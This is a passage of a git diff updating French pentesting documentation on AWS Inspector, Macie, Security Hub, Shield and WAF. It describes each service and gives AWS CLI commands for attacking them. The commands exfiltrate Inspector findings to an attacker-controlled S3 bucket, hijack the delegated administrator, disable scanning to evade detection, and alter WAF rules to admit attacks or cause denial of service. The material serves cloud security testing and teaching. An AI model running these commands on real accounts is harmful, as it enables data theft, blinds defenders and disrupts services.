paramètres de **mode de scan** de votre compte. +Amazon Inspector offre des capacités de scan robustes pour les instances Amazon EC2 afin de détecter les vulnérabilités et les problèmes de sécurité. Inspector compare les métadonnées extraites de l'instance EC2 avec des règles provenant d'avis de sécurité afin de produire des vulnérabilités de package et des problèmes de connectivité réseau. Ces scans peuvent être effectués par des méthodes **basées sur un agent** ou **sans agent**, selon la configuration des paramètres **mode de scan** de votre compte. -- **Basé sur un agent** : Utilise l'agent AWS Systems Manager (SSM) pour effectuer des scans approfondis. Cette méthode permet une collecte et une analyse de données complètes directement depuis l'instance. -- **Sans agent** : Fournit une alternative légère qui ne nécessite pas l'installation d'un agent sur l'instance, créant un instantané EBS de chaque volume de l'instance EC2, recherchant des vulnérabilités, puis le supprimant ; tirant parti de l'infrastructure AWS existante pour le scan. +- **Agent-Based** : Utilise l'agent AWS Systems Manager (SSM) pour effectuer des scans approfondis. Cette méthode permet une collecte et une analyse de données complètes directement depuis l'instance. +- **Agentless** : Fournit une alternative légère qui ne nécessite pas l'installation d'un agent sur l'instance, créant un instantané EBS de chaque volume de l'instance EC2, recherchant des vulnérabilités, puis le supprimant ; tirant parti de l'infrastructure AWS existante pour le scan. Le mode de scan détermine quelle méthode sera utilisée pour effectuer les scans EC2 : -- **Basé sur un agent** : Implique l'installation de l'agent SSM sur les instances EC2 pour une inspection approfondie. -- **Scan hybride** : Combine les méthodes basées sur un agent et sans agent pour maximiser la couverture et minimiser l'impact sur les performances. Dans les instances EC2 où l'agent SSM est installé, Inspector effectuera un scan basé sur un agent, et pour celles où il n'y a pas d'agent SSM, le scan effectué sera sans agent. +- **Agent-Based** : Implique l'installation de l'agent SSM sur les instances EC2 pour une inspection approfondie. +- **Hybrid Scanning** : Combine les méthodes basées sur un agent et sans agent pour maximiser la couverture et minimiser l'impact sur les performances. Dans les instances EC2 où l'agent SSM est installé, Inspector effectuera un scan basé sur un agent, et pour celles où il n'y a pas d'agent SSM, le scan effectué sera sans agent. -Une autre fonctionnalité importante est l'**inspection approfondie** pour les instances EC2 Linux. Cette fonctionnalité offre une analyse approfondie du logiciel et de la configuration des instances EC2 Linux, fournissant des évaluations détaillées des vulnérabilités, y compris les vulnérabilités du système d'exploitation, les vulnérabilités des applications et les erreurs de configuration, garantissant une évaluation complète de la sécurité. Cela est réalisé par l'inspection des **chemins personnalisés** et de tous ses sous-répertoires. Par défaut, Amazon Inspector scannera les éléments suivants, mais chaque compte membre peut définir jusqu'à 5 chemins personnalisés supplémentaires, et chaque administrateur délégué jusqu'à 10 : +Une autre fonctionnalité importante est l'**inspection approfondie** pour les instances EC2 Linux. Cette fonctionnalité offre une analyse approfondie du logiciel et de la configuration des instances EC2 Linux, fournissant des évaluations détaillées des vulnérabilités, y compris les vulnérabilités du système d'exploitation, les vulnérabilités des applications et les erreurs de configuration, garantissant une évaluation complète de la sécurité. Cela est réalisé par l'inspection de **chemins personnalisés** et de tous ses sous-répertoires. Par défaut, Amazon Inspector scannera les éléments suivants, mais chaque compte membre peut définir jusqu'à 5 chemins personnalisés supplémentaires, et chaque administrateur délégué jusqu'à 10 : - `/usr/lib` - `/usr/lib64` @@ -61,25 +61,25 @@ Une autre fonctionnalité importante est l'**inspection approfondie** pour les i #### Amazon ECR container images scanning -Amazon Inspector fournit des capacités de scan robustes pour les images de conteneurs Amazon Elastic Container Registry (ECR), garantissant que les vulnérabilités des packages sont détectées et gérées efficacement. +Amazon Inspector fournit des capacités de scan robustes pour les images de conteneurs Amazon Elastic Container Registry (ECR), garantissant que les vulnérabilités de package sont détectées et gérées efficacement. -- **Scan de base** : Il s'agit d'un scan rapide et léger qui identifie les vulnérabilités connues des packages OS dans les images de conteneurs en utilisant un ensemble standard de règles du projet open-source Clair. Avec cette configuration de scan, vos dépôts seront scannés lors de la poussée ou en effectuant des scans manuels. -- **Scan amélioré** : Cette option ajoute la fonctionnalité de scan continu en plus du scan lors de la poussée. Le scan amélioré plonge plus profondément dans les couches de chaque image de conteneur pour identifier les vulnérabilités dans les packages OS et dans les packages de langages de programmation avec une plus grande précision. Il analyse à la fois l'image de base et toutes les couches supplémentaires, fournissant une vue complète des problèmes de sécurité potentiels. +- **Basic Scanning** : Il s'agit d'un scan rapide et léger qui identifie les vulnérabilités connues des packages OS dans les images de conteneurs en utilisant un ensemble standard de règles du projet open-source Clair. Avec cette configuration de scan, vos dépôts seront scannés lors de l'envoi, ou en effectuant des scans manuels. +- **Enhanced Scanning** : Cette option ajoute la fonctionnalité de scan continu en plus du scan lors de l'envoi. Le scan amélioré plonge plus profondément dans les couches de chaque image de conteneur pour identifier les vulnérabilités dans les packages OS et dans les packages de langages de programmation avec une précision accrue. Il analyse à la fois l'image de base et toutes les couches supplémentaires, fournissant une vue complète des problèmes de sécurité potentiels. #### Amazon Lambda functions scanning Amazon Inspector inclut des capacités de scan complètes pour les fonctions AWS Lambda et ses couches, garantissant la sécurité et l'intégrité des applications sans serveur. Inspector propose deux types de scan pour les fonctions Lambda : -- **Scan standard Lambda** : Cette fonctionnalité par défaut identifie les vulnérabilités logicielles dans les dépendances du package d'application ajoutées à votre fonction Lambda et à ses couches. Par exemple, si votre fonction utilise une version d'une bibliothèque comme python-jwt avec une vulnérabilité connue, elle génère un résultat. -- **Scan de code Lambda** : Analyse le code d'application personnalisé à la recherche de problèmes de sécurité, détectant des vulnérabilités telles que des failles d'injection, des fuites de données, une cryptographie faible et un chiffrement manquant. Il capture des extraits de code mettant en évidence les vulnérabilités détectées, telles que des identifiants codés en dur. Les résultats incluent des suggestions de remédiation détaillées et des extraits de code pour corriger les problèmes. +- **Lambda standard scanning** : Cette fonctionnalité par défaut identifie les vulnérabilités logicielles dans les dépendances du package d'application ajoutées à votre fonction Lambda et à ses couches. Par exemple, si votre fonction utilise une version d'une bibliothèque comme python-jwt avec une vulnérabilité connue, elle génère un finding. +- **Lambda code scanning** : Analyse le code d'application personnalisé à la recherche de problèmes de sécurité, détectant des vulnérabilités telles que des failles d'injection, des fuites de données, une cryptographie faible et un chiffrement manquant. Elle capture des extraits de code mettant en évidence les vulnérabilités détectées, telles que des identifiants codés en dur. Les findings incluent des suggestions de remédiation détaillées et des extraits de code pour corriger les problèmes. #### **Center for Internet Security (CIS) scans** Amazon Inspector inclut des scans CIS pour évaluer les systèmes d'exploitation des instances Amazon EC2 par rapport aux recommandations des meilleures pratiques du Center for Internet Security (CIS). Ces scans garantissent que les configurations respectent les normes de sécurité de l'industrie. -- **Configuration** : Les scans CIS évaluent si les configurations système répondent à des recommandations spécifiques du CIS Benchmark, chaque vérification étant liée à un ID de vérification et un titre CIS. -- **Exécution** : Les scans sont effectués ou programmés en fonction des balises d'instance et des horaires définis. -- **Résultats** : Les résultats post-scan indiquent quelles vérifications ont réussi, été ignorées ou échouées, fournissant un aperçu de la posture de sécurité de chaque instance. +- **Configuration** : Les scans CIS évaluent si les configurations système répondent à des recommandations spécifiques du CIS Benchmark, chaque vérification étant liée à un ID de vérification CIS et à un titre. +- **Execution** : Les scans sont effectués ou programmés en fonction des balises d'instance et des horaires définis. +- **Results** : Les résultats post-scan indiquent quelles vérifications ont réussi, été ignorées ou échouées, fournissant un aperçu de la posture de sécurité de chaque instance. ### Enumeration ```bash @@ -198,7 +198,9 @@ aws inspector2 create-findings-report --report-format --s3-destinat # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -1. **Créer un Amazon S3 Bucket** et attacher une politique à celui-ci afin qu'il soit accessible depuis le victim Amazon Inspector : +L'exemple suivant montre comment exfiltrer toutes les découvertes actives d'Amazon Inspector vers un bucket Amazon S3 contrôlé par un attaquant avec une clé Amazon KMS contrôlée par un attaquant : + +1. **Créer un bucket Amazon S3** et y attacher une politique afin qu'il soit accessible depuis la victime Amazon Inspector : ```json { "Version": "2012-10-17", @@ -290,12 +292,12 @@ aws inspector2 delete-filter --arn Un attaquant pourrait perturber de manière significative la structure de gestion de la sécurité. - En désactivant le compte administrateur délégué, l'attaquant pourrait empêcher l'équipe de sécurité d'accéder et de gérer les paramètres et rapports d'Amazon Inspector. -- L'activation d'un compte administrateur non autorisé permettrait à un attaquant de contrôler les configurations de sécurité, potentiellement en désactivant les analyses ou en modifiant les paramètres pour dissimuler des activités malveillantes. +- L'activation d'un compte administrateur non autorisé permettrait à un attaquant de contrôler les configurations de sécurité, potentiellement en désactivant les analyses ou en modifiant les paramètres pour cacher des activités malveillantes. > [!WARNING] > Il est nécessaire que le compte non autorisé soit dans la même Organisation que la victime pour devenir l'administrateur délégué. > -> Pour que le compte non autorisé devienne l'administrateur délégué, il est également nécessaire qu'après la désactivation de l'administrateur délégué légitime, et avant que le compte non autorisé ne soit activé en tant qu'administrateur délégué, l'administrateur légitime doit être désenregistré en tant qu'administrateur délégué de l'organisation. Cela peut être fait avec la commande suivante (**`organizations:DeregisterDelegatedAdministrator`** permission requise) : **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> Afin que le compte non autorisé devienne l'administrateur délégué, il est également nécessaire qu'après la désactivation de l'administrateur délégué légitime, et avant que le compte non autorisé ne soit activé en tant qu'administrateur délégué, l'administrateur légitime doit être désenregistré en tant qu'administrateur délégué de l'organisation. Cela peut être fait avec la commande suivante (**`organizations:DeregisterDelegatedAdministrator`** permission requise) : **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -320,7 +322,7 @@ aws inspector2 disassociate-member --account-id #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -Un attaquant avec la permission `inspector2:Disable` serait capable de désactiver les analyses de sécurité sur des types de ressources spécifiques (EC2, ECR, Lambda, code Lambda) sur les comptes spécifiés, laissant des parties de l'environnement AWS non surveillées et vulnérables aux attaques. De plus, grâce aux permissions **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, un attaquant pourrait alors réactiver les analyses de manière sélective pour éviter la détection de configurations suspectes. +Un attaquant avec la permission `inspector2:Disable` pourrait désactiver les analyses de sécurité sur des types de ressources spécifiques (EC2, ECR, Lambda, code Lambda) sur les comptes spécifiés, laissant des parties de l'environnement AWS non surveillées et vulnérables aux attaques. De plus, grâce aux permissions **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, un attaquant pourrait alors réactiver les analyses de manière sélective pour éviter la détection de configurations suspectes. > [!WARNING] > Cette action doit être effectuée par l'administrateur délégué. @@ -345,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 8a9690ca1..1cec7e7e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,14 +6,14 @@ ## Macie -Amazon Macie se distingue comme un service conçu pour **détecter, classer et identifier automatiquement les données** au sein d'un compte AWS. Il utilise **l'apprentissage automatique** pour surveiller et analyser en continu les données, se concentrant principalement sur la détection et l'alerte contre des activités inhabituelles ou suspectes en examinant les **données des événements CloudTrail** et les modèles de comportement des utilisateurs. +Amazon Macie se distingue comme un service conçu pour **détecter, classer et identifier automatiquement les données** au sein d'un compte AWS. Il utilise **l'apprentissage automatique** pour surveiller et analyser en continu les données, se concentrant principalement sur la détection et l'alerte contre des activités inhabituelles ou suspectes en examinant les **données des événements de cloud trail** et les modèles de comportement des utilisateurs. Caractéristiques clés d'Amazon Macie : 1. **Revue active des données** : Utilise l'apprentissage automatique pour examiner activement les données à mesure que diverses actions se produisent au sein du compte AWS. 2. **Détection d'anomalies** : Identifie les activités ou les modèles d'accès irréguliers, générant des alertes pour atténuer les risques potentiels d'exposition des données. -3. **Surveillance continue** : Surveille et détecte automatiquement les nouvelles données dans Amazon S3, utilisant l'apprentissage automatique et l'intelligence artificielle pour s'adapter aux modèles d'accès aux données au fil du temps. -4. **Classification des données avec le NLP** : Utilise le traitement du langage naturel (NLP) pour classer et interpréter différents types de données, attribuant des scores de risque pour prioriser les résultats. +3. **Surveillance continue** : Surveille et détecte automatiquement de nouvelles données dans Amazon S3, utilisant l'apprentissage automatique et l'intelligence artificielle pour s'adapter aux modèles d'accès aux données au fil du temps. +4. **Classification des données avec NLP** : Utilise le traitement du langage naturel (NLP) pour classer et interpréter différents types de données, attribuant des scores de risque pour prioriser les résultats. 5. **Surveillance de la sécurité** : Identifie les données sensibles à la sécurité, y compris les clés API, les clés secrètes et les informations personnelles, aidant à prévenir les fuites de données. Amazon Macie est un **service régional** et nécessite le rôle IAM 'AWSMacieServiceCustomerSetupRole' et un AWS CloudTrail activé pour fonctionner. @@ -104,8 +104,8 @@ aws macie2 list-custom-data-identifiers #### Post Exploitation > [!TIP] -> Du point de vue d'un attaquant, ce service n'est pas conçu pour détecter l'attaquant, mais pour détecter des informations sensibles dans les fichiers stockés. Par conséquent, ce service pourrait **aider un attaquant à trouver des informations sensibles** à l'intérieur des buckets.\ -> Cependant, un attaquant pourrait également être intéressé à le perturber afin d'empêcher la victime de recevoir des alertes et de voler ces informations plus facilement. +> Du point de vue d'un attaquant, ce service n'est pas conçu pour détecter l'attaquant, mais pour détecter des informations sensibles dans les fichiers stockés. Par conséquent, ce service pourrait **aider un attaquant à trouver des infos sensibles** à l'intérieur des buckets.\ +> Cependant, un attaquant pourrait également être intéressé à le perturber afin d'empêcher la victime de recevoir des alertes et de voler ces infos plus facilement. TODO: PRs are welcome! diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 21f7d6a28..b734d3f01 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** collecte des **données** de sécurité provenant de **comptes AWS**, de services et de produits partenaires tiers pris en charge et vous aide à **analyser votre sécurité** et à identifier les problèmes de sécurité les plus prioritaires. +**Security Hub** collecte des **données** de sécurité provenant de **comptes AWS**, de services et de produits partenaires tiers pris en charge et vous aide à **analyser vos tendances de sécurité** et à identifier les problèmes de sécurité les plus prioritaires. Il **centralise les alertes liées à la sécurité à travers les comptes**, et fournit une interface utilisateur pour les visualiser. La plus grande limitation est qu'il **ne centralise pas les alertes à travers les régions**, seulement à travers les comptes. @@ -12,7 +12,7 @@ Il **centralise les alertes liées à la sécurité à travers les comptes**, et - Régional (les résultats ne traversent pas les régions) - Support multi-comptes -- Résultats provenant de : +- Résultats de : - Guard Duty - Config - Inspector diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 6524d0160..acaf76fe2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,10 +6,10 @@ AWS Shield a été conçu pour aider à **protéger votre infrastructure contre les attaques par déni de service distribué**, communément appelées DDoS. -**AWS Shield Standard** est **gratuit** pour tout le monde, et il offre une **protection DDoS** contre certains des attaques de couche trois, la **couche réseau**, et de couche quatre, **couche de transport**, DDoS les plus courantes. Cette protection est intégrée à la fois avec CloudFront et Route 53. +**AWS Shield Standard** est **gratuit** pour tout le monde, et il offre une **protection DDoS** contre certaines des attaques DDoS les plus courantes de la couche trois, la **couche réseau**, et de la couche quatre, la **couche de transport**. Cette protection est intégrée à la fois avec CloudFront et Route 53. -**AWS Shield Advanced** offre un **niveau de protection supérieur** pour les attaques DDoS sur un plus large éventail de services AWS moyennant un coût supplémentaire. Ce niveau avancé offre une protection contre vos applications web fonctionnant sur EC2, CloudFront, ELB et également Route 53. En plus de ces types de ressources supplémentaires protégées, des niveaux améliorés de protection DDoS sont offerts par rapport à ceux de Standard. Et vous aurez également **accès à une équipe de réponse DDoS spécialisée disponible 24 heures sur 24 et 7 jours sur 7 chez AWS, connue sous le nom de DRT**. +**AWS Shield Advanced** offre un **niveau de protection supérieur** pour les attaques DDoS sur un plus large éventail de services AWS moyennant un coût supplémentaire. Ce niveau avancé offre une protection contre vos applications web fonctionnant sur EC2, CloudFront, ELB et également Route 53. En plus de ces types de ressources supplémentaires protégées, des niveaux améliorés de protection DDoS sont offerts par rapport à ceux de la version Standard. Et vous aurez également **accès à une équipe de réponse DDoS spécialisée 24 heures sur 24 et 7 jours sur 7 chez AWS, connue sous le nom de DRT**. -Alors que la version Standard de Shield offrait une protection contre la couche trois et la couche quatre, **Advanced offre également une protection contre les attaques de couche sept, application.** +Alors que la version Standard de Shield offrait une protection contre la couche trois et la couche quatre, **Advanced offre également une protection contre la couche sept, les attaques applicatives.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 93e8a149d..fe8db6193 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,7 +6,7 @@ ## AWS WAF -AWS WAF est un **pare-feu d'application web** conçu pour **protéger les applications web ou les API** contre diverses exploitations web qui peuvent affecter leur disponibilité, sécurité ou consommation de ressources. Il permet aux utilisateurs de contrôler le trafic entrant en configurant des **règles de sécurité** qui atténuent les vecteurs d'attaque typiques comme l'injection SQL ou le scripting intersite, et en définissant également des règles de filtrage personnalisées. +AWS WAF est un **pare-feu d'application web** conçu pour **protéger les applications web ou les API** contre diverses exploitations web qui peuvent affecter leur disponibilité, sécurité ou consommation de ressources. Il permet aux utilisateurs de contrôler le trafic entrant en configurant des **règles de sécurité** qui atténuent les vecteurs d'attaque typiques comme l'injection SQL ou le cross-site scripting et en définissant également des règles de filtrage personnalisées. ### Concepts clés @@ -14,55 +14,55 @@ AWS WAF est un **pare-feu d'application web** conçu pour **protéger les applic Une Web ACL est un ensemble de règles que vous pouvez appliquer à vos applications web ou API. Lorsque vous associez une Web ACL à une ressource, AWS WAF inspecte les requêtes entrantes en fonction des règles définies dans la Web ACL et prend les actions spécifiées. -#### Groupe de Règles +#### Rule Group -Un Groupe de Règles est une collection réutilisable de règles que vous pouvez appliquer à plusieurs Web ACL. Les groupes de règles aident à gérer et à maintenir des ensembles de règles cohérents à travers différentes applications web ou API. +Un Rule Group est une collection réutilisable de règles que vous pouvez appliquer à plusieurs Web ACLs. Les groupes de règles aident à gérer et à maintenir des ensembles de règles cohérents à travers différentes applications web ou API. -Chaque groupe de règles a sa **capacité** associée, qui aide à calculer et à contrôler les ressources opérationnelles utilisées pour exécuter vos règles, groupes de règles et Web ACL. Une fois sa valeur définie lors de la création, il n'est pas possible de la modifier. +Chaque groupe de règles a sa **capacité** associée, qui aide à calculer et à contrôler les ressources opérationnelles utilisées pour exécuter vos règles, groupes de règles et Web ACLs. Une fois sa valeur définie lors de la création, il n'est pas possible de la modifier. -#### Règle +#### Rule Une règle définit un ensemble de conditions que AWS WAF utilise pour inspecter les requêtes web entrantes. Il existe deux types principaux de règles : 1. **Règle Régulière** : Ce type de règle utilise des conditions spécifiées pour déterminer s'il faut autoriser, bloquer ou compter les requêtes web. 2. **Règle Basée sur le Taux** : Compte les requêtes d'une adresse IP spécifique sur une période de cinq minutes. Ici, les utilisateurs définissent un seuil, et si le nombre de requêtes d'une IP dépasse cette limite dans les cinq minutes, les requêtes suivantes de cette IP sont bloquées jusqu'à ce que le taux de requêtes tombe en dessous du seuil. Le seuil minimum pour les règles basées sur le taux est de **2000 requêtes**. -#### Règles Gérées +#### Managed Rules -AWS WAF propose des ensembles de règles gérés préconfigurés qui sont maintenus par AWS et les vendeurs du marché AWS. Ces ensembles de règles offrent une protection contre les menaces courantes et sont régulièrement mis à jour pour traiter de nouvelles vulnérabilités. +AWS WAF propose des ensembles de règles gérées préconfigurés qui sont maintenus par AWS et les vendeurs du marché AWS. Ces ensembles de règles offrent une protection contre les menaces courantes et sont régulièrement mis à jour pour traiter de nouvelles vulnérabilités. -#### Ensemble d'IP +#### IP Set -Un Ensemble d'IP est une liste d'adresses IP ou de plages d'adresses IP que vous souhaitez autoriser ou bloquer. Les ensembles d'IP simplifient le processus de gestion des règles basées sur les IP. +Un IP Set est une liste d'adresses IP ou de plages d'adresses IP que vous souhaitez autoriser ou bloquer. Les ensembles d'IP simplifient le processus de gestion des règles basées sur les IP. -#### Ensemble de Modèles Regex +#### Regex Pattern Set -Un Ensemble de Modèles Regex contient une ou plusieurs expressions régulières (regex) qui définissent des motifs à rechercher dans les requêtes web. Cela est utile pour des scénarios de correspondance plus complexes, tels que le filtrage de séquences spécifiques de caractères. +Un Regex Pattern Set contient une ou plusieurs expressions régulières (regex) qui définissent des motifs à rechercher dans les requêtes web. Cela est utile pour des scénarios de correspondance plus complexes, tels que le filtrage de séquences spécifiques de caractères. -#### Jeton de Verrouillage +#### Lock Token -Un Jeton de Verrouillage est utilisé pour le contrôle de la concurrence lors de la mise à jour des ressources WAF. Il garantit que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément. +Un Lock Token est utilisé pour le contrôle de la concurrence lors de la mise à jour des ressources WAF. Il garantit que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément. -#### Clés API +#### API Keys -Les Clés API dans AWS WAF sont utilisées pour authentifier les requêtes à certaines opérations API. Ces clés sont cryptées et gérées de manière sécurisée pour contrôler l'accès et garantir que seuls les utilisateurs autorisés peuvent apporter des modifications aux configurations WAF. +Les API Keys dans AWS WAF sont utilisées pour authentifier les requêtes à certaines opérations API. Ces clés sont cryptées et gérées de manière sécurisée pour contrôler l'accès et garantir que seuls les utilisateurs autorisés peuvent apporter des modifications aux configurations WAF. - **Exemple** : Intégration de l'API CAPTCHA. -#### Politique de Permission +#### Permission Policy -Une Politique de Permission est une politique IAM qui spécifie qui peut effectuer des actions sur les ressources AWS WAF. En définissant des permissions, vous pouvez contrôler l'accès aux ressources WAF et garantir que seuls les utilisateurs autorisés peuvent créer, mettre à jour ou supprimer des configurations. +Une Permission Policy est une politique IAM qui spécifie qui peut effectuer des actions sur les ressources AWS WAF. En définissant des permissions, vous pouvez contrôler l'accès aux ressources WAF et garantir que seuls les utilisateurs autorisés peuvent créer, mettre à jour ou supprimer des configurations. -#### Portée +#### Scope Le paramètre de portée dans AWS WAF spécifie si les règles et configurations WAF s'appliquent à une application régionale ou à une distribution Amazon CloudFront. -- **RÉGIONAL** : S'applique aux services régionaux tels que les équilibres de charge d'application (ALB), l'API REST d'Amazon API Gateway, l'API GraphQL AWS AppSync, le pool d'utilisateurs Amazon Cognito, le service AWS App Runner et l'instance AWS Verified Access. Vous spécifiez la région AWS où ces ressources sont situées. -- **CLOUDFRONT** : S'applique aux distributions Amazon CloudFront, qui sont globales. Les configurations WAF pour CloudFront sont gérées via la région `us-east-1` indépendamment de l'endroit où le contenu est servi. +- **REGIONAL** : S'applique aux services régionaux tels que les Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, le pool d'utilisateurs Amazon Cognito, le service AWS App Runner et l'instance AWS Verified Access. Vous spécifiez la région AWS où ces ressources sont situées. +- **CLOUDFRONT** : S'applique aux distributions Amazon CloudFront, qui sont globales. Les configurations WAF pour CloudFront sont gérées via la région `us-east-1`, peu importe où le contenu est servi. ### Fonctionnalités clés -#### Critères de Surveillance (Conditions) +#### Monitoring Criteria (Conditions) **Conditions** spécifient les éléments des requêtes HTTP/HTTPS entrantes que AWS WAF surveille, qui incluent XSS, localisation géographique (GEO), adresses IP, contraintes de taille, injection SQL et motifs (correspondance de chaînes et regex). Il est important de noter que **les requêtes restreintes au niveau de CloudFront en fonction du pays n'atteindront pas WAF**. @@ -73,26 +73,26 @@ Chaque compte AWS peut configurer : - Un maximum de **5 règles basées sur le taux**. - Un débit de **10 000 requêtes par seconde** lorsque WAF est mis en œuvre avec un équilibreur de charge d'application. -#### Actions de Règle +#### Rule actions Des actions sont assignées à chaque règle, avec les options suivantes : -- **Autoriser** : La requête est transmise à la distribution CloudFront ou à l'équilibreur de charge d'application approprié. -- **Bloquer** : La requête est immédiatement terminée. -- **Compter** : Compte les requêtes répondant aux conditions de la règle. Cela est utile pour tester la règle, confirmant l'exactitude de la règle avant de la définir sur Autoriser ou Bloquer. -- **CAPTCHA et Défi** : Il est vérifié que la requête ne provient pas d'un bot à l'aide de puzzles CAPTCHA et de défis silencieux. +- **Allow** : La requête est transmise à la distribution CloudFront appropriée ou à l'Application Load Balancer. +- **Block** : La requête est immédiatement terminée. +- **Count** : Compte les requêtes répondant aux conditions de la règle. Cela est utile pour tester la règle, confirmant l'exactitude de la règle avant de la définir sur Allow ou Block. +- **CAPTCHA et Challenge** : Il est vérifié que la requête ne provient pas d'un bot à l'aide de puzzles CAPTCHA et de défis silencieux. -Si une requête ne correspond à aucune règle dans la Web ACL, elle subit l'**action par défaut** (Autoriser ou Bloquer). L'ordre d'exécution des règles, défini dans une Web ACL, est crucial et suit généralement cette séquence : +Si une requête ne correspond à aucune règle dans la Web ACL, elle subit l'**action par défaut** (Allow ou Block). L'ordre d'exécution des règles, défini dans une Web ACL, est crucial et suit généralement cette séquence : 1. Autoriser les IPs sur liste blanche. 2. Bloquer les IPs sur liste noire. 3. Bloquer les requêtes correspondant à des signatures nuisibles. -#### Intégration CloudWatch +#### CloudWatch Integration AWS WAF s'intègre à CloudWatch pour la surveillance, offrant des métriques telles que AllowedRequests, BlockedRequests, CountedRequests et PassedRequests. Ces métriques sont rapportées chaque minute par défaut et conservées pendant une période de deux semaines. -### Énumération +### Enumeration Pour interagir avec les distributions CloudFront, vous devez spécifier la région US East (N. Virginia) : @@ -192,14 +192,14 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > Cependant, un attaquant pourrait également être intéressé à perturber ce service afin que les sites ne soient pas protégés par le WAF. -Dans de nombreuses opérations de Suppression et de Mise à jour, il serait nécessaire de fournir le **token de verrouillage**. Ce token est utilisé pour le contrôle de la concurrence sur les ressources, garantissant que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément. Afin d'obtenir ce token, vous pourriez effectuer les opérations **list** ou **get** correspondantes sur la ressource spécifique. +Dans de nombreuses opérations de suppression et de mise à jour, il serait nécessaire de fournir le **token de verrouillage**. Ce token est utilisé pour le contrôle de la concurrence sur les ressources, garantissant que les modifications ne sont pas accidentellement écrasées par plusieurs utilisateurs ou processus tentant de mettre à jour la même ressource simultanément. Afin d'obtenir ce token, vous pourriez effectuer les opérations **list** ou **get** correspondantes sur la ressource spécifique. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -Un attaquant serait en mesure de compromettre la sécurité de la ressource affectée en : +Un attaquant pourrait compromettre la sécurité de la ressource affectée en : - Créant des groupes de règles qui pourraient, par exemple, bloquer le trafic légitime provenant d'adresses IP légitimes, provoquant une déni de service. -- Mettant à jour des groupes de règles, étant capable de modifier ses actions par exemple de **Block** à **Allow**. +- Mettant à jour des groupes de règles, pouvant modifier ses actions par exemple de **Block** à **Allow**. - Supprimant des groupes de règles qui fournissent des mesures de sécurité critiques. ```bash # Create Rule Group @@ -245,7 +245,7 @@ Avec ces autorisations, un attaquant pourrait : - Créer un nouveau Web ACL, introduisant des règles qui permettent soit le passage de trafic malveillant, soit le blocage de trafic légitime, rendant ainsi le WAF inutile ou provoquant un déni de service. - Mettre à jour des Web ACL existants, pouvant modifier des règles pour permettre des attaques telles que l'injection SQL ou le scripting intersite, qui étaient auparavant bloquées, ou perturber le flux de trafic normal en bloquant des requêtes valides. -- Supprimer un Web ACL, laissant les ressources affectées entièrement non protégées, les exposant à un large éventail d'attaques web. +- Supprimer un Web ACL, laissant les ressources affectées entièrement non protégées, les exposant à une large gamme d'attaques web. > [!NOTE] > Vous ne pouvez supprimer le **WebACL** spécifié que si **ManagedByFirewallManager** est faux. @@ -259,9 +259,9 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Les exemples suivants montrent comment mettre à jour un Web ACL pour bloquer le trafic légitime d'un ensemble d'IP spécifique. Si l'IP d'origine ne correspond à aucune de ces IP, l'action par défaut serait également de le bloquer, provoquant un DoS. +Les exemples suivants montrent comment mettre à jour un Web ACL pour bloquer le trafic légitime d'un ensemble d'IP spécifique. Si l'IP d'origine ne correspond à aucune de ces IP, l'action par défaut consisterait également à le bloquer, provoquant un DoS. -**Web ACL d'origine**: +**Web ACL original**: ```json { "WebACL": { @@ -335,7 +335,7 @@ Le fichier **rule.json** ressemblerait à : La permission **`wafv2:AssociateWebACL`** permettrait à un attaquant d'associer des ACL web (Listes de Contrôle d'Accès) avec des ressources, pouvant contourner les contrôles de sécurité, permettant à un trafic non autorisé d'atteindre l'application, ce qui pourrait conduire à des exploits comme l'injection SQL ou le cross-site scripting (XSS). Inversement, avec la permission 